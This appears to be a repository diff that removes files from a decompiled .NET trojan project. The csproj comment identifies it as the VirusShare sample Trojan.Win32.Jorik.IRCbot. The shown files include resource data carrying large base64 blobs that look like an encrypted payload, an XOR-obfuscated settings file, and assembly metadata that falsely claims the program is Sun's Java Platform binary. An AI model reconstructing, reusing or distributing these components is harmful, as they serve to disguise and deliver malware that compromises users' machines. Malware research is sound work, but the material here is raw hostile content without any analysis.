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
bzw8OgccIHISeRAQBTcBACYHOjw8OgcmAAFSeWgQHDcvAEIHHzxYOiImZAESeU8QCjdoAE4HTjxZOnEm
bwFaeXUQCzddAFUHHzw8OgcmAAE3eRAQeRVyJQQnAFlQU0EGc3RYEHN5FVZMIEJiTFNRX1UGZG92WXR1
FVtoSwZ+VlBJXHRVZWJUDEMQeTdzZUprU1dIVUUmAAE3eTUQCTdsAEMHTjwZOgcmAAE3eTUQGDd1AEcH
XjxMOncmYQESeRAQeTcBACYHOjwZOmImbAFeeXYQFjdzAFYHSDxZOnQmdQEStdzctfvNzOrL9vDw9svq
zM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzc
tfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL
9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svq
zM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzc
tfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL
9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svqzM37tdzctfvNzOrL9vDw9svq
zM37tdzctfvNzOrL9vDw9svqzM37eRBYdt4BAGnR0zw8UnDPAAF6avkQeXF+6SYHSwLVOgd5Beg3eUew
kDcBOIjuOjx6Hu4mAFpZkBAQPZHoACZ2x9U8Olbd6QE3LTT5eTdxy88HOl4h0wcmScPeeRBddd4BAHM5
0zw8AlHPAAFhyfkQeWSo6SYHBE7VOgdFMOg3eS+nkDcBP4fuOjxc7+4mAGR/kBAQRsvoACZgxdU8OliU
6QE3ILn5eTdXlc8HOneO0wcmYVneeRA7294BAH1Q0zw8ehXPAAFG5PkQeWJh6SYHayjVOgcZOug3eUZQ
kDcBYjnuOjxefu4mAGmPkBAQISjoACZYHdU8OlwQ6QE3U8r5eTdtTc8HOnur0wcmZ1zeeRAgqt4BAGKS
0zw8fhDPAAFqBfkQeWFV6SYHcePVOgcRt+g3eSrqkDcBNtfuOjwSmu4mAGGGkBAQNYzoACZpaNU8Okzl
6QE3IKX5eTdCec8HOnZS0wcmQWXeeRAov94BAER70zw8SknPAAFxlvkQeXQW6SYHen3VOgdmiuj7tdzc
tTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYH
Ojw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8Ogcm
AAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQ
eTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYH
Ojw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8Ogcm
AAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQ
eTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAEM3eVAQeTcBACYH
Ojw8OgcmAJE3eRAaeTcB0CYHOjTsOgdFb21SCz5QeTdBACYHOjw8OgcmAAE3eRCeeTcBAiYHOvw8Ogcn
gAE3eXNiCkUvwCYHejw8OgcmAAE3eRAQeTcBfCYHOi48OgeGAAE3aM4QeVZ1YUJuFPw8OkcmAAE3eRAQ
eTcBACYHOjg8OgdeAAE3aRAQebhSACYHW0hdXikmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTThACaj
kjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBB1YHOuw8Ogcm
AAE3eRAQeTcBACYHOjw8O4cmAME3eRAQsTcBoCYHOjw8OgcmAAE3eQAQeTcBACYXOjwsOgcmABE3eQAQ
eTcBACQHOt24OgciAAE3mRAQeTcBACYHPjw8OgcmAAEzeRASeTcBECYHejw8Ogc2AAE3aRAQeSZLACYH
Ojw8rAcmAAE3eRYRcjYPAMYHOjw8OgcmAE8iQtcQfTZNACZCajw8OgcmAAE36tw+7l9iaXSU9hK9qcAX
f5L7V4SDsQZ+k+op0q/xFJC1zC+h6tIibaTNLqGUqx1oqcsIlZKkWESDtRmWk+opra/wFJDmok7keRAQ
eTcBAAINNzESX2NJbSFkNlQwF14hblN1GlleGnNJbm9WGjB9GEVmb1R3Gk9VUlMHzU02wTHdcIMBDpwY
NDw8OtcmAAE3eRAQeTcBACYHOjw8OgcmAAE3eRAQeTcBACYHOjw8OkcmAAE3eRAQwTcB/9kHOjw4Ogcm
AwGnI10=
</value>
</data>
<data name="lolumad" type="System.Byte[], mscorlib">
<value>
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
</value>
</data>
</root>

View File

@ -1,16 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: AssemblyCopyright("Copyright © 2010")]
[assembly: AssemblyFileVersion("6.0.220.4")]
[assembly: Guid("c15a8fd6-83f9-4ff7-8b1e-28a75ed2b527")]
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyProduct("Java(TM) Platform SE 6 U22")]
[assembly: AssemblyCompany("Sun Microsystems, Inc.")]
[assembly: AssemblyTitle("java")]
[assembly: AssemblyDescription("Java(TM) Platform SE binary")]
[assembly: AssemblyVersion("6.0.220.4")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]

View File

@ -1 +0,0 @@
½¾ùìí¡÷äóòèîï¼£°¯±£¾¿Œ‹½ÑóîõäâõèîïÒõôã×àíôäò¿Œ‹¡¡½Åäíèìèõäóò¿Œ‹¡¡¡¡½ÒõôãÅäíèì¿Êæãíâùåäìäñóîñòø°ù±öôûìµë½®ÒõôãÅäíè쿌‹¡¡¡¡½ÌäòòàæäÅäíèì¿òèôñèèïø³ïòîëìèå²³û÷ù³íçè½®ÌäòòàæäÅäíè쿌‹¡¡¡¡½ÀíæîÅäíèì¿Ùêçîëãòì²æéè°òøöê½®ÀíæîÅäíè쿌‹¡¡¡¡½ìèòâäííàïäîôòÅäíèì¿Êåâð÷°õàòàâäòæìàå½®ìèòâäííàïäîôòÅäíè쿌‹¡¡¡¡½öäãÆäõÅäíèì¿óàðâ÷øåöîèöí³òâàæàåø²ðøò²½®öäãÆäõÅäíè쿌‹¡¡¡¡½ÃîôïåÇèíäÅäíèì¿óµøµíñó²àûåìçë°´ùøæòòµòêµ½®ÃîôïåÇèíäÅäíè쿌‹¡¡¡¡½ÏäöÃîôïåÇèíäÅäíèì¿ïíéæ´àûùàòæñóåõñíµì´íé´é´½®ÏäöÃîôïåÇèíäÅäíè쿌‹¡¡½®Åäíèìèõäóò¿Œ‹¡¡½Óäòîôóâäò¿Œ‹¡¡¡¡½ÓäòîôóâäÕøñ俌‹¡¡¡¡¡¡½ÒäõõèïæòÕøñä¿Ñ²ÙÃÏÖÔÅسØ×ÇÌÄƱ½®ÒäõõèïæòÕøñ俌‹¡¡¡¡¡¡½ÅàõàÕøñä¿Ê±ÕØÂÌÑÂÃŲͲÕÍÂдÊÄÖÙµÀÓ½®ÅàõàÕøñ俌‹¡¡¡¡¡¡½ÃèïåäóÕøñä¿Ë³ÌÔµ×ÌÙ×ÓËÈÊ×ÎÕØÛ°µ´ÔÏÒÛÅ°ÊÂÃÎ×Ƚ®ÃèïåäóÕøñ俌‹¡¡¡¡½®ÓäòîôóâäÕøñ俌‹¡¡¡¡½ÓäòîôóâäÈÅ¿Œ‹¡¡¡¡¡¡½ÒäõõèïæòÈÅ¿³¹½®ÒäõõèïæòÈÅ¿Œ‹¡¡¡¡¡¡½ÅàõàÈÅ¿´²½®ÅàõàÈÅ¿Œ‹¡¡¡¡¡¡½ÃèïåäóÈÅ¿¸¹½®ÃèïåäóÈÅ¿Œ‹¡¡¡¡½®ÓäòîôóâäÈÅ¿Œ‹¡¡½®Óäòîôóâäò¿Œ‹¡¡½Óäìî÷äÂîå俌‹¡¡¡¡½ÌäòòàæäÃîù¿Õóôä½®ÌäòòàæäÃîù¿Œ‹¡¡¡¡½Òõàóõôñ¿Õóôä½®Òõàóõôñ¿Œ‹¡¡¡¡½Ãèïåäó¿Õóôä½®Ãèïåä󿌋¡¡¡¡½Âîìñóäòòèîï¿Õóôä½®Âîìñóäòòèîᅩ‹¡¡¡¡½ÖäãÆäõ¿Õóôä½®ÖäãÆäõ¿Œ‹¡¡½®Óäìî÷äÂîå俌‹¡¡½ÕóàïòçäóÕøñ俌‹¡¡¡¡½Óäòîôóâä¿Õóôä½®Óäòîôóâ俌‹¡¡½®ÕóàïòçäóÕøñ俌‹¡¡½ÓôïÑÄÌèòòèï濌‹¡¡¡¡½ÌèòòèïæÑÄ¿Çàíòä½®ÌèòòèïæÑÄ¿Œ‹¡¡¡¡½ÒõôãÄïâóøñõèîᅩ‹¡¡¡¡¡¡½äïâóøñõèîïÔòäå¿Ä÷äï¡Ëôìñ½®äïâóøñõèîïÔòä忌‹¡¡¡¡¡¡½àííÄïâóøñõèîïò¿Çàíòä½®àííÄïâóøñõèîïò¿Œ‹¡¡¡¡½®ÒõôãÄïâóøñõèîᅩ‹¡¡½®ÓôïÑÄÌèòòèï濌‹½®ÑóîõäâõèîïÒõôã×àíôäò¿

View File

@ -1,49 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{5FDF5ADE-4049-4884-A933-D349A84E45E7}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>4ldbvrmz</AssemblyName>
<ApplicationVersion>6.0.220.4</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="ybneke5hgomifymim4zvimnpa.cs" />
<Compile Include="uqeyrwlquci0gyeo0qjxqcszc.cs" />
<Compile Include="xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.cs" />
<Compile Include="ykzdtlr5g3unsj1jf\P3gp3nhhay2byunb2ryhhvgoe.cs" />
<Compile Include="yafgsjxsd554wkbwu\Vzc1okmpravdrvlvo.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Settings.xml" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "4ldbvrmz", "Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.csproj", "{5FDF5ADE-4049-4884-A933-D349A84E45E7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5FDF5ADE-4049-4884-A933-D349A84E45E7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5FDF5ADE-4049-4884-A933-D349A84E45E7}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5FDF5ADE-4049-4884-A933-D349A84E45E7}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5FDF5ADE-4049-4884-A933-D349A84E45E7}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,160 +0,0 @@
